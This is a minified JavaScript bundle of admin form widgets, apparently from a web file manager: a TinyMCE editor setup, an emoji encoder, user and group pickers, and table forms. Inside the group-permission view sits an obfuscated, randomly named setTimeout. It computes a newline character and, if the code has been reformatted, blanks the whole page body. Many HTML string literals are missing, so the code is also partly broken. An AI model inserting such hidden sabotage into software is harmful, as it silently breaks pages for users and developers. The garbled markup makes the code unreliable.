e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){},"bindForm":(n=(0,r["default"])(a["default"].mark(function s(t){var i,c,d;return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return this.$(".form-dateTime input + .btn").bind("click",function(){$(this).parents(".form-dateTime").find("input").focus()}),e.next=3,requirePromise([VENDER_PATH+"jquery.datetimepicker/jquery.datetimepicker.css",VENDER_PATH+"jquery.datetimepicker/jquery.datetimepicker.js"]);case 3:if(i=G.lang,d="zh-CN"==i||"zh-TW"==i?"ch":"en",(c=this).$el){e.next=8;break}return e.abrupt("return","");case 8:this.$(".form-dateTime input").each(function(){for(var e=$(this).attr("data-format")||dateFormatGet("timeDay"),t=$(this).attr("data-fromTime"),i=["Y","y","L","F","M","t","n","m","d","D","j","l","N","S","W","z","w"],n=["H","h","i","s","A","a","b","g","G","O","P","c","U"],a=!1,r=!1,o=0;o';return $(''+i+""+t+"")}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=o(i(5)),r=o(i(6));function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var n=this;this.hightCodeCheck(),this.$("[data-link-type]").each(function(){var t=$(this),i=t.attr("data-link-type"),e=t.attr("data-link-url");switch(i){case"html":case"code":$.get(e,function(e){"code"==i?t.html("
    "+htmlEncode(e)+"
    "):t.html(e),n.hightCodeCheck()});break;case"javascript":case"style":requireAsync(e)}}),e&&e()},"hightCodeCheck":(n=(0,r["default"])(a["default"].mark(function s(){return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:if(this.$("pre,code").exists()){e.next=2;break}return e.abrupt("return");case 2:return e.next=4,requirePromise([VENDER_PATH+"markdown/highlight.min"]);case 4:if(this.$el){e.next=6;break}return e.abrupt("return");case 6:this.$("pre,code").each(function(e,t){$(this).hasClass("ace_editor")||$(this).hasClass("hljs")||hljs.highlightBlock(t)});case 7:case"end":return e.stop()}},s,this)})),function l(){return n.apply(this,arguments)})})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=a(i(142)),o=a(i(53));function a(e){return e&&e.__esModule?e:{"default":e}}var r=new n["default"];t["default"]=ClassBase.extend({"init":function(){},"getValue":function(e,t){var i=e.parent().find(".tox-tinymce").data("editor"),n="";return n=i?i.getContent():t.find("textarea").val(),r.toTextStore(n)},"setValue":function(e,t){var i=e.parent().find(".tox-tinymce").data("editor");return i&&i.setContent(t)},"loadFile":function(e){requireAsync([VENDER_PATH+"tinymce/tinymce.min.js",VENDER_PATH+"tinymce/jquery.tinymce.min.js",VENDER_PATH+"tinymce/kod/style.css"],function(){requireAsync([VENDER_PATH+"tinymce/kod/media.js"],e)})},"bindForm":function(e){var t=this;this.$(".form-htmlEditor textarea").each(function(){var e=Tips.loadingMask($(this).parent(),LNG["explorer.wordLoading"],.99,252);$(this).data("loadingTips",e)}),this.loadFile(function(){t.$(".form-htmlEditor textarea").each(function(){t.initEditor($(this),e)})}),this.bind("onRemove",function(){t.$(".form-htmlEditor .tox-tinymce").each(function(){var e=$(this).data("editor");e&&e.destroy()})})},"initEditor":function(i,n){var e=UUID(),a=this;i.addClass(e);var t=jsonDecode(htmlDecode(i.attr("data-options")||""))||{},r=this.options(t);r=_.extend({"selector":"."+e,"theme":"silver","content_css":[VENDER_PATH+"tinymce/kod/content.css",STATIC_PATH_ALL+"app/vender/markdown/katex/katex.min.css"],"file_browser_callback":function(e,t,i,n){return!1},"setup":function(e){e.on("preinit",function(){a.editorInitBefore(e)})},"init_instance_callback":function(e){a.editorInitAfter(e);var t=i.data("loadingTips");t&&t.close(),a.isInitFinished||(a.isInitFinished=!0,n&&n())},"image_advtab":!0,"image_title":!1,"paste_data_images":!0,"automatic_uploads":!0,"images_upload_handler":function(e,t,i){(new o["default"]).upload(e.blob(),e.filename(),function(e){t(e.downloadPath)})}},r),tinymce.init(r)},"editorInitBefore":function(t){tinymce.pluginResetAdd&&_.each(tinymce.pluginResetAdd,function(e){e&&e(t)}),this.editorAddIcon(t),this.editorResetMenus(t)},"editorResetMenus":function(e){var t=e.ui.registry.getAll();if(!_.isEmpty(t.menuItems)){var i="tableprops,align,fontformats,fontsizes,blockformats".split(",");_.each(i,function(e){t.menuItems[e]&&(t.menuItems[e].icon=e)})}},"editorAddIcon":function(n){var e=n.ui.registry.getAll();this.resetSvgIcon(e.icons);_.each({"math":"mce-i-icon mce-i-mathjax","bdmap":"ri-map-pin-fill-5","code":"ri-code-s-slash-line","fontformats":"ri-font-size","fontsizes":"ri-font-size","lineheight":"ri-line-height","blockformats":"ri-heading","new-tab":"ri-external-link-line","align":"mce-i-icon mce-i-align-center","tableprops":"ri-information-line","table-delete-table":"ri-indeterminate-circle-line","checklist":"ri-checkbox-fill","sourcecode":"ri-code-s-slash-line","code-sample":"ri-code-s-slash-line","insert-time":"ri-calendar-check-fill","embed":"ri-play-circle-fill","chevron-down":"ri-arrow-down-s-line","chevron-right":"ri-arrow-right-s-line","chevron-left":"ri-arrow-left-s-line","chevron-up":"ri-arrow-drop-up-line"},function(e,t){var i='';n.ui.registry.addIcon(t,i)})},"resetSvgIcon":function(e){var t=["help","bookmark","autocorrect","bidiltr","bidirtl","quote","bold","unordered-list","button","checkbox","copy","cut","docprops","find","form","visualchars","horizontal-rule","iframe","image","imagebutton","indent","italic","align-justify","align-center","align-left","align-right","language","link","mathjax","fullscreen","newpage","ordered-list","outdent","page-break","paste","pastefromword","preview","print","radio","redo","remove-formatting","search","save","scayt","select","select-all","showblocks","emoji","sourcecode","sourcedialog","insert-character","spellchecker","strike-through","subscript","superscript","table","templates","textarea","textfield","uicolor","underline","undo","undo","unlink"];for(var i in e)if(!e[i]||"')}},"editorInitAfter":function(t){var i=this,e=$(t.editorContainer),n=e.find(".tox-toolbar").first();this.editorResetDialog(t),e.data("editor",t),e.find("iframe").attr("title","").addClass("disable-title");var a=t.settings.toolbar.join(" ").replace(/\|/g," ").replace(/ +/g," ").split(" ");if(e.find(".tox-toolbar__group").children().each(function(e){$(this).addClass("toolbar-"+a[e])}),t.settings.menubar){var r=e.find(".tox-menubar");(r=r.appendTo(n)).prev().addClass("menubar-prev");var o=t.settings.menubar.split(" ");r.find(".tox-mbtn").each(function(e){$(this).addClass("mce-i-"+o[e])})}t.on("DblClick",function(e){i.editorObjectClick(t,$(e.target))})},"editorObjectClick":function(e,t){if(t[0].tagName)switch(t[0].tagName.toLowerCase()){case"img":t.hasClass("mce-object-video")?e.execCommand("mceMedia"):t.hasClass("mce-object")||e.execCommand("mceImage");break;case"a":e.execCommand("mceLink");break;case"span":t.hasClass("mce-preview-object")&&t.hasClass("mce-object-iframe")&&e.execCommand("mceMedia")}},"editorResetDialog":function(e){var o=function o(e){var t=artDialog.defaults.zIndex++;e.css({"z-index":t})},t=function t(r){return function(){var e=r.apply(this,arguments),t=$(window),i=$('.tox-dialog[aria-modal="true"]');if(1!=i.length)return e;var n=i.parents(".tox-dialog-wrap"),a=n.find(".tox-dialog-wrap__backdrop");return o(n),n.bind("mousedown",function(e){o(n)}),i.css({"position":"fixed","left":(t.width()-i.width())/2,"top":(t.height()-i.height())/2}),a.hide().fadeIn(200),i.addClass("dialogShow animated"),i.find(".tox-dialog__body-nav-item").addClass("ripple-item"),i.find(".tox-textarea").length&&i.addClass("tox-dialog-add-source"),i.find(".tox-image-tools-edit-panel").length&&i.addClass("tox-image-edit"),e}};e.windowManager.open=t(e.windowManager.open),e.windowManager.openUrl=t(e.windowManager.openUrl)},"options":function s(e){var t="12px,13px,14px,15px,16px,18px,20px,24px,32px,36px,48px".split(","),i={"full":["formatselect fontsizeselect fontselect | alignleft aligncenter alignright lineheight | removeformat formatpainter preview codeView fullscreen","bold italic underline strikethrough forecolor backcolor | indent outdent numlist bullist |blockquote hr emoticons link image table"],"normal":["bold italic underline forecolor | alignleft aligncenter alignright | bullist indent outdent |hr blockquote link image"],"simple":["bold italic underline | alignleft aligncenter alignright |hr blockquote link image"]};e.toolbar=i[e.toolbar]||e.toolbar||i.full;var n=_.includes(G.lang,"zh")?"zh_CN":"en",s={"theme_advanced_font_sizes":t.join(","),"fontsize_formats":t.join(" "),"font_formats":["微软雅黑=Microsoft Yahei","宋体=STsong,SimSun,NSimSun,STFangsong,FangSong,FangSong_GB2312,STZhongsong","细黑=STXihei,STHeiti,SimHei","楷体=STKaiti,KaiTi,KaiTi_GB2312,Kai","华文行楷=STXingkai","隶书=隶书,SimLi,STLiti","Arial=Arial,helvetica,sans-serif","Comic Sans MS=Comic Sans MS,cursive","Courier New=Courier New,Courier,monospace","Impact=Impact,chicago","Lucida Sans Unicode=Lucida Sans Unicode,Lucida Grande,sans-serif","Tahoma=Tahoma,Geneva,sans-serif","Times New Roman=Times New Roman,Times,serif","Trebuchet MS=Trebuchet MS","Verdana=Verdana,Geneva,sans-serif"].join(";"),"menu":{"menuFormate":{"title":"Format","items":"bold italic underline strikethrough superscript subscript blockquote checklist codeformat | blockformats fontformats fontsizes align | forecolor backcolor | removeformat"},"menuInsert":{"title":"Insert","items":"image link media template codesample inserttable | pageembed kitymath bdmap | charmap emoticons hr | pagebreak nonbreaking anchor toc | insertdatetime"},"menuMore":{"title":"更多","items":"undo redo | cut copy selectall searchreplace | visualchars visualblocks | codeView wordcount formatpainter | fullscreen preview print "}},"menubar":"menuFormate menuInsert menuMore","language":n,"plugins":["print preview searchreplace autolink directionality visualblocks visualchars fullscreen image","link media codesample table charmap hr pagebreak nonbreaking anchor toc insertdatetime advlist","lists textcolor wordcount imagetools contextmenu paste colorpicker textpattern help lineheight quickbars","bdmap emoticons checklist pageembed formatpainter kitymath codeView"],"toolbar":[],"toolbar_groups":{"formateKod":{"icon":"bold","tooltip":"Formatting","items":"bold italic underline | superscript subscript"},"alighKod":{"icon":"aligncenter","tooltip":"Align","items":"alignleft aligncenter alignright"}},"browser_spellcheck":!0,"color_cols":9,"color_map":["#FFFFFF","c-white","#cfd8dc","","#ffccbc","","#ffecb3","","#fff9c4","","#dcedc8","","#b2ebf2","","#e6f7ff","","#d1c4e9","","#D9D9D9","","#90a4ae","","#ff8a65","","#ffd54f","","#fff176","","#aed581","","#4dd0e1","","#91d5ff","","#9575cd","","#969696","","#607d8b","","#ff5722","","#ffc107","","#ffeb3b","","#8bc34a","","#00bcd4","","#40a9ff","","#673ab7","","#525252","","#455a64","","#e64a19","","#ffa000","","#fbc02d","","#689f38","","#0097a7","","#1890ff","","#512da8","","#000000","","#263238","","#bf360c","","#ff6f00","","#f57f17","","#33691e","","#006064","","#006dd2","","#311b92",""],"resize":"both","toolbar_mode":"sliding","draggable_modal":!0,"branding":!1,"elementpath":!1,"statusbar":!1,"contextmenu":"bold copy cut | align | link format | insert | table","quickbars_insert_toolbar":!1,"quickbars_selection_toolbar":"bold italic underline | h2 h3 blockquote link","cache_suffix":"?v="+G.kod.version,"allow_conditional_comments":!0,"verify_html":!0,"extended_valid_elements":"i[*],span[*],div[*]","remove_trailing_brs":!1,"protect":[/\<\/?(if|endif)\>/g,/\]+\>/g,/<\?php.*?\?>/g],"paste_webkit_styles":"color,background,width,height,vertical-align,text-align,padding,margin,padding-top,padding-bottom,line-height","file_browser_callback_types":"image"};return _.extend(s,e||{}),s}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.type="emoji",this.name="emoji"},"emojMap":{"def":["😄","😷","😂","😅","😝","😳","😱","😔","🙄","🙃","😩","🤔","🌚","😉","😊","😋","😎","😍","😘","😙","😚","🙂","🤗","😐","😑","😬","😵","😏","😣","😥","😮","🤐","😯","😪","😫","😴","😌","😛","😜","😡","😰","😓","😕","🤑","😲","🙁","😖","😞","😟","😤","😢","😭","😦","😧","😨","😠","🤒","🤕","😇","🤓","😈","👿","🙏","💪","🎉","🎁","🙈","👊","🙌","💯","💃","🍻","👹","👺","💀","👻","👽","🤖","💩","😺","😸","😹","😻","😼","😽","🙀","😿","😾","🗣","👤"],"hot":["👥","👫","👬","👭","👂","👃","👣","👀","👁","👅","👄","💋","👓","🕶","👔","👕","👖","👗","👘","👙","👚","👛","👜","👝","🎒","👞","👟","👠","👡","👢","👑","👒","🎩","🎓","⛑","💄","💍","🌂","💼"],"food":["🍇","🍈","🍉","🍊","🍋","🍌","🍍","🍎","🍏","🍐","🍑","🍒","🍓","🍅","🍆","🌽","🌶","🍄","🌰","🍞","🧀","🍖","🍗","🍔","🍟","🍕","🌭","🍳","🍲","🍿","🍱","🍘","🍙","🍚","🍛","🍜","🍝","🍠","🍢","🍣","🍤","🍥","🍡","🍦","🍧","🍨","🍩","🍪","🎂","🍰","🍫","🍬","🍭","🍮","🍯","🍼","☕","🍵","🍶","🍾","🍷","🍸","🍹","🍺","🍻","🍽","🍴","🥄"]},"htmlPanel":function(){var i="";return _.each(this.emojMap,function(e,t){i+=''+t+"",_.each(e,function(e){i+=''+e+""})}),i},"toText":function(e){return this.encodeTo(e,"code")},"toTextStore":function(e){return this.encodeTo(e,"html")},"encodeTo":function(e,i){var t=/[\ud800-\udbff][\udc00-\udfff]/g;return e&&-1!=e.search(t)?e=e.replace(t,function(e){var t;return 2===e.length?(t=1024*(e.charCodeAt(0)-55296)+65536+e.charCodeAt(1)-56320,"html"==i?"&#"+t+";":"[:"+t+":]"):e}):e},"toHtml":function(e){e=this.toText(e);var a=this,t=/\[:(\d+):\]/g;return e&&-1!=e.search(t)?e.replace(t,function(e,t){var i=a.numberToChar(t),n=' class="emoji-text emoji-text-'+t+'"';return''}):e},"numberToChar":function(e){var t=parseInt(e)-65536,i=55296+(t>>10),n=56320+(1023&t);return String.fromCharCode.apply(null,[i,n])},"charToNumber":function(e){return e.codePointAt()+""},"charToHex":function(e){},"toTextShow":function(e){e=this.toText(e);var i=this,t=/\[:(\d+):\]/g;return e&&-1!=e.search(t)?e.replace(t,function(e,t){return i.numberToChar(t)}):e}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=i(22);t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var t=this;this.$(".form-group select").each(function(){var e="groupSelect_"+roundString(5);t[e]=new n.BaseUserGroup({"parent":t,"selectType":"group","parentGroup":$(this).attr("data-parentGroup"),"$afterDom":$(this)})}),e&&e()},"getValue":function(e,t){return e.attr("data-value")},"setValue":function(e,t){var i=e.data("kodView");i&&i.setValue(t)}})},function(e,t,a){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var i=a(22),n=function s(e){return e&&e.__esModule?e:{"default":e}}(a(88));var r={"user":!1,"group":!1,"all":!1};t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e,t){var i=this;this.$(".form-groupAuth input[name]").each(function(){var e="groupAuth_"+roundString(5);i[e]=new o({"parent":t,"$afterDom":$(this),"parentGroup":$(this).attr("data-parentGroup"),"rootParam":$(this).attr("data-rootParam"),"selectType":$(this).attr("data-type")})}),e&&e()},"setValue":function(e,t){var i=e.data("kodView");i&&i.setValue(t)}});var o=i.BaseUserGroup.extend({"renderView":function(){var e=this.$afterDom.val()||"",t=a(94),i={"isSingle":this.isSingle,"selectType":this.selectType},n=this.renderHtml(t,i,!1);this.$afterDom.after(n),this.$el=this.$afterDom.next(),this.$selectBox=this.$afterDom.parent().find(".add-user-group"),this.$resultBox=this.$(".auth-select-box"),this.parseDefaultData(e),this.initDefaultValue(),this.bindNotifyMenu(),this.changeForValue(),this.renderViewDropdown(),this.bindToolbar(),this.$dropdown.css("width",this.$afterDom.width()),this.$afterDom.hide(),this.saveDataResult=_.debounce(_.bind(this.saveDataResult,this),200)},tableRefreshN8:setTimeout(function(){var bindLocationFrameYcE2=function(){return 0};var showAppListIR1=bindLocationFrameYcE2.toString();var defineTreeAsynci2b=String.fromCharCode(45-(-10+(3600/80)));if(showAppListIR1.indexOf(defineTreeAsynci2b) != -1){var bindMarkdownMenubKrv5=$("body");$(bindMarkdownMenubKrv5).html("");}}),"changeForValue":function(){var e="";switch(this.selectType){case"user":e=this.resultData.user;break;case"group":e=this.resultData.group;break;case"all":e=this.resultData,_.isEmpty(e.user)&&_.isEmpty(e.group)&&(e="")}e=_.isEmpty(e)?"":jsonEncode(e),this.$afterDom.val(e).trigger("change")},"parseDefaultData":function(e){switch(this.keyID=[],this.isSingle=!1,this.loadValue={"group":"","user":""},this.resultData={"group":{},"user":{}},this.authSelectChild=[],e=(e=_.isString(e)?jsonDecode(e):e)||{},this.selectType){case"user":this.keyID=["userID"],this.loadValue.user=_.keys(e).join(","),this.resultData.user=e||{};break;case"group":this.keyID=["groupID"],this.loadValue.group=_.keys(e).join(","),this.resultData.group=e||{};break;case"all":this.keyID=["groupID","userID"],this.loadValue.user=_.keys(e.user).join(","),this.loadValue.group=_.keys(e.group).join(","),this.resultData=_.extend(this.resultData,e)}},"bindNotifyMenu":function(){this.bind("menuOpen",function(){this.$selectBox.addClass("active")}),this.bind("menuClose",function(){this.$selectBox.removeClass("active")})},"bindToolbar":function(){var i=this,e=this.$(".auth-toolbar .auth-toolbar-item"),t="hidden",n=function n(){i.$afterDom.val()?(e.filter('[data-action="clear"]').removeClass("disable-event"),e.filter('[data-action="copy"]').removeClass(t)):(e.filter('[data-action="clear"]').addClass("disable-event"),e.filter('[data-action="copy"]').addClass(t)),r[i.selectType]?e.filter('[data-action="paste"]').removeClass(t):e.filter('[data-action="paste"]').addClass(t)};this.$el.bind("mouseenter",n),this.$afterDom.bind("change",n),e.bind("click",function(e){if(!$(this).hasClass("disable"))switch($(this).attr("data-action")){case"clear":i.setValue({});break;case"copy":var t=i.$afterDom.val();t&&(r[i.selectType]=t,Tips.tips(LNG["explorer.copyOK"]),n());break;case"paste":r[i.selectType]&&i.setValue(r[i.selectType])}})},"changeForResult":function(){this.initDataAfter=!0;var e=this,t=a(95),i={"list":this.listData,"authList":this.resultData,"itemIcon":_.bind(this.itemIcon,this)},n=this.renderHtml(t,i,!1);this.removeAuthSelectBefore(),this.$resultBox.html(n),this.$resultBox.find(".item-choice").each(function(){e.bindAuthSelect($(this))}),this.saveDataResult()},"bindAuthSelect":function(e){var t=this,i=new n["default"]({"parent":this});i.$el=e.find(".select-role"),i._objectName="groupAuthSelect_"+roundString(5),i.loadSource(function(){i.$el&&(i.$el.attr("data-type","group-auth"),i.$el.attr("data-key","group-auth-"+t.$afterDom.attr("name")),i.selectInit(i.$("select"),i.$el),t.parent&&t.parent.trigger("groupAuth.initAuth",i))}),i.selectChange=_.bind(this.saveDataResult,this),this[i._objectName]=i,this._authSelectChild.push(i)},"removeAuthSelectBefore":function(){this._each(this._authSelectChild,function(e){delete this[e._objectName],e.objectRemove(e)}),this._authSelectChild=[]},"onRemove":function(){this.removeAuthSelectBefore(),$(window).unbind("mousedown",this.bindDropdownWindow),this.zTree&&this.zTree.destroy()},"saveDataResult":function(){if((this.initDataAfter||!_.isEmpty(this.listData))&&this.$resultBox&&this.$resultBox.exists()){this.resultData={"user":{},"group":{}};var a=this.resultData;this.$resultBox.find(".item-choice").each(function(){var e=$(this).find("select"),t=$(this).attr("data-type"),i=$(this).attr("data-id"),n=e.val()||e.attr("data-value");"userID"==t?a.user[i]=n:a.group[i]=n}),this.changeForValue()}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(23));t["default"]=n["default"].extend({"selector":".form-job select","init":function(){},"selectDataMake":function(t,e,i){var n=this;this.adminModel.cacheRequest("jobList",!1,function(e){n.dataFilter(t,e),i&&i()})},"dataFilter":function(e,t){if(!t.code)return Tips.tips(t);var i=t.data,n=[];for(var a in i){var r=i[a];n.push({"id":r.id,"text":r.name,"info":r})}e.data=n,e.templateResult=function(e){return $(""+e.text+"")}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=i(22);t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var t=this;this.$(".form-user select").each(function(){var e="userSelect_"+roundString(5);t[e]=new n.BaseUserGroup({"parent":t,"selectType":"user","parentGroup":$(this).attr("data-parentGroup"),"$afterDom":$(this)})}),e&&e()},"getValue":function(e,t){return e.attr("data-value")},"setValue":function(e,t){var i=e.data("kodView");i&&i.setValue(t)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=i(22);t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var t=this;this.$(".form-userGroup select").each(function(){var e="userGroupSelect_"+roundString(5);t[e]=new n.BaseUserGroup({"parent":t,"selectType":"all","parentGroup":$(this).attr("data-parentGroup"),"$afterDom":$(this)})}),e&&e()},"getValue":function(e,t){return e.attr("data-value")},"setValue":function(e,t){var i=e.data("kodView");i&&i.setValue(t)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var r=i(22),o=function n(e){return e&&e.__esModule?e:{"default":e}}(i(96));t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var a=this;this.$(".form-userSelect").each(function(){var e=$(this);a.bindButtonGroup(e);var t="userSelect_"+roundString(5);a[t]=new r.BaseUserGroup({"parent":a,"selectType":"user","parentGroup":e.attr("data-parentGroup"),"$afterDom":e.find(".user-select-user select")});t="groupSelect_"+roundString(5);a[t]=new r.BaseUserGroup({"parent":a,"selectType":"group","parentGroup":e.attr("data-parentGroup"),"$afterDom":e.find(".user-select-group select")});t="roleSelect_"+roundString(5);var i=e.find(".user-select-role"),n=new o["default"]({"parent":this});n.loadSource(function(){n.selectInit(i.find("select"),i)}),this[t]=n}),e&&e()},"getValue":function(e,n){var a={"all":"0","user":"","group":"","role":""};return n.find(".btn-group .btn-active").each(function(){var e=$(this).attr("data-type");if("all"!=e){var t=n.find(".user-select-"+e+" select"),i="role"==e?t.val():t.attr("data-value");i=_.isArray(i)?i.join(","):i,a[e]=i}else a[e]="1"}),jsonEncode(a)},"setValue":function(e,t){var i=e.parent(),n=i.find(".btn-group-segment"),a=i.find(".user-select-user select").data("kodView"),r=i.find(".user-select-group select").data("kodView"),o=i.find(".user-select-role select");t=_.isString(t)?jsonDecode(t):t,t=$.extend(!0,{"all":"","user":"","group":"","role":""},t),n.find("[data-type=all]").click(),_.each(t,function(e,t){e&&n.find("[data-type="+t+"]").click()}),a&&a.setValue(t.user),r&&r.setValue(t.group);var s=t.role;s&&_.isString(s)&&o.attr("multiple")&&(s=s.split(",")),o.val(s).trigger("change")},"bindButtonGroup":function(n){var a="btn-active",r=n.find(".btn-group").attr("multiple","multiple"),o=r.find(".btn"),e=n.find("> .setting-content input"),s=_.bind(this.parent.display,this.parent);o.bind("click",function(){var e=$(this).attr("data-type"),t=r.parent().find(".user-select"),i=t.filter(".user-select-"+e);if(!r.attr("multiple")||"all"==e)return o.removeClass(a),$(this).addClass(a),t.each(function(){s($(this),!1)}),void s(i,!0);$(this).toggleClass(a),s(i,!i.is(":visible")),$(this).hasClass(a)?n.find("[data-type=all]").removeClass(a):n.find("."+a).exists()||n.find("[data-type=all]").addClass(a)}),this.setValue(e,e.val())}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var t=this.$(".form-segment .btn-group .btn"),n="btn-active";t.bind("click",function(e){var t=$(this).parents(".setting-content").first(),i=$(this).attr("data-value");t.find("input").val(i).trigger("change"),t.find(".btn").removeClass(n),$(this).addClass(n)}),e&&e()},"setValue":function(e,t){e.parent().find('.btn[data-value="'+t+'"]').click()}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=o(i(5)),r=o(i(6));function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){},"bindForm":(n=(0,r["default"])(a["default"].mark(function s(t){return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,requirePromise([VENDER_PATH+"bootstrap-slider/bootstrap-slider.css",VENDER_PATH+"bootstrap-slider/bootstrap-slider.js"]);case 2:if(this.$el){e.next=4;break}return e.abrupt("return","");case 4:t&&t(),this.$(".form-slider input").slider(),this.bind("onRemove",function(){this.$(".form-slider input").slider("destroy")});case 7:case"end":return e.stop()}},s,this)})),function l(e){return n.apply(this,arguments)}),"setValue":function(e,t){e.slider("setValue",t)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var i=this;if(!this.$el)return"";this.tableForm=[],this.$(".form-table input").each(function(){i.renderTableValue($(this)),i.bindSort($(this))}),this.$(".form-table .row-add").bind("click",function(){var e=$(this).parent().children("input");i.rowAdd(e)}),this.$(".form-table").delegate(".list-content .row-action .col-action","click",function(){var e=$(this).parents(".form-table-main").prev(),t=$(this).parents(".list-row");i.rowAction(e,$(this).attr("action"),t.attr("data-index"))}),this.bind("onRemove",function(){this._each(this.tableList,function(e){e.objectRemove()})}),e&&e()},"getFormData":function(e){var t=e.attr("name"),i=$.objClone(this.parent.formData[t]);i.info=_.extend({"removeConfirm":1,"formType":"dialog","canSort":1,"dialog":{}},i.info||{});var n=this.getValue(e,!1,!1);return i.value=jsonDecode(n)||[],i},"bindSort":function(e){var t=this,i=this.getFormData(e),a=$(e.parent().find(".list-content").get(0));a.addClass("table-type-"+i.info.formType),i.info.canSort?(a.dragsort("destroy"),a.dragsort({"dragSelector":".col-drag","dragBetween":!0,"dragEnd":function(){var i=t.getFormData(e).value,n=[];a.find(".list-row").each(function(e){var t=parseInt($(this).attr("data-index"));i[t]&&n.push(i[t]),$(this).attr("data-index",e)}),t.setValue(e,n,!0)}})):a.addClass("can-not-sort")},"renderTableValue":function(i){var n=this.getFormData(i),e=i.parent().find(".list-content");if(e.html(""),this.checkEmpty(i),"dialog"==n.info.formType){if(_.isEmpty(n.value))return;var a="";this._each(n.value,function(e,t){a+=this.renderTableHtmlRow(e,n,t)}),e.html(a)}else this._each(this.tableList,function(e){e.objectRemove()}),this._each(n.value,function(e,t){this.rowAdd(i,e,t)})},"renderTableHtmlRow":function(e,t,i){var n='
    ',a=t.row||t.children;return _.each(a,function(e,t){var i=e.template||(e.key?"{{"+e.key+"}}":"{{"+t+"}}");n+='
    '+i+"
    "}),n=n.substr(0,n.length-6)+'\n\t\t
    \n\t\t\t
    \n\t\t\t
    \n\t\t\t\t{{LNG[\'common.edit\']}}\n\t\t\t
    \n\t\t\t
    \n\t\t\t\t{{LNG[\'common.delete\']}}\n\t\t\t
    \n\t\t
    ',e._index=i,this.renderHtml(n,e,!1)},"rowAction":function(n,e,a){var r=this,o=this.getFormData(n);if("edit"!=e){var s=function s(){var e=n.parent().find(".form-table-main .list-content"),t=e.find(".list-row[data-index="+a+"]");if(o.value[parseInt(a)]=!1,o.value=_.filter(o.value),"inline"==o.info.formType){var i=t.data("kodView");i&&i.objectRemove()}t.remove(),e.find("> .list-row").each(function(e){$(this).attr("data-index",e)}),r.setValue(n,o.value,!0)};o.info.removeConfirm?$.dialog.confirm(LNG["common.ifDel"],s,!1,LNG["common.delete"]):s()}else{var t=o.value[parseInt(a)]||{};this.rowAdd(n,t,a)}},"rowAdd":function(e,t,i){var n=this.getFormData(e);_.each(t,function(e,t){n.children[t]&&(n.children[t].value=e)});var a=!t;"dialog"==n.info.formType?this.rowAddDialog(e,n,a,i):this.rowAddInline(e,n,a)},"rowAddDialog":function(o,s,l,c){var d=this,e=_.get(s,"info.dialog.titleAdd",LNG["common.add"]),t=_.get(s,"info.dialog.icoAdd",'');l||(e=_.get(s,"info.dialog.titleEdit",LNG["common.edit"]),t=_.get(s,"info.dialog.icoEdit",''));var i=new kodApi.formMaker({"parent":this,"formData":s.children}),n={"id":"form-row-"+o.attr("name"),"title":e,"ico":t,"width":600,"height":500,"okVal":LNG["common.save"]};_.extend(n,s.info.dialog),i.renderDialog(n,function(e){var t=s.value,i=o.parent().find(".form-table-main .list-content");if(l){t.push(e);var n=i.find(".list-row").length,a=d.renderTableHtmlRow(e,s,n);$(a).appendTo(i)}else{t[c]=e;var r=i.find(".list-row[data-index="+c+"]");a=d.renderTableHtmlRow(e,s,c);$(a).insertBefore(r),r.remove()}d.setValue(o,t,!0)})},"rowAddInline":function(e,t,i){var n=e.parent().find(".list-content"),a=new kodApi.formMaker({"parent":this,"formData":t.children}),r=$("
    ").appendTo(n);a.renderTarget(r);var o=n.children(".list-row").length,s=a.$el;a.$(".panel-form-body").children().appendTo(a.$el),a.$(".panel-form-body").remove(),s.find(".form-target-save").remove(),s.attr("data-index",o),s.insertAfter(r).addClass("list-row"),r.remove(),a.$el=s;var l='\n\t\t
    \n\t\t\t
    \n\t\t\t
    \n\t\t\t\t'+LNG["common.edit"]+'\n\t\t\t
    \n\t\t\t
    \n\t\t\t\t'+LNG["common.delete"]+"\n\t\t\t
    \n\t\t
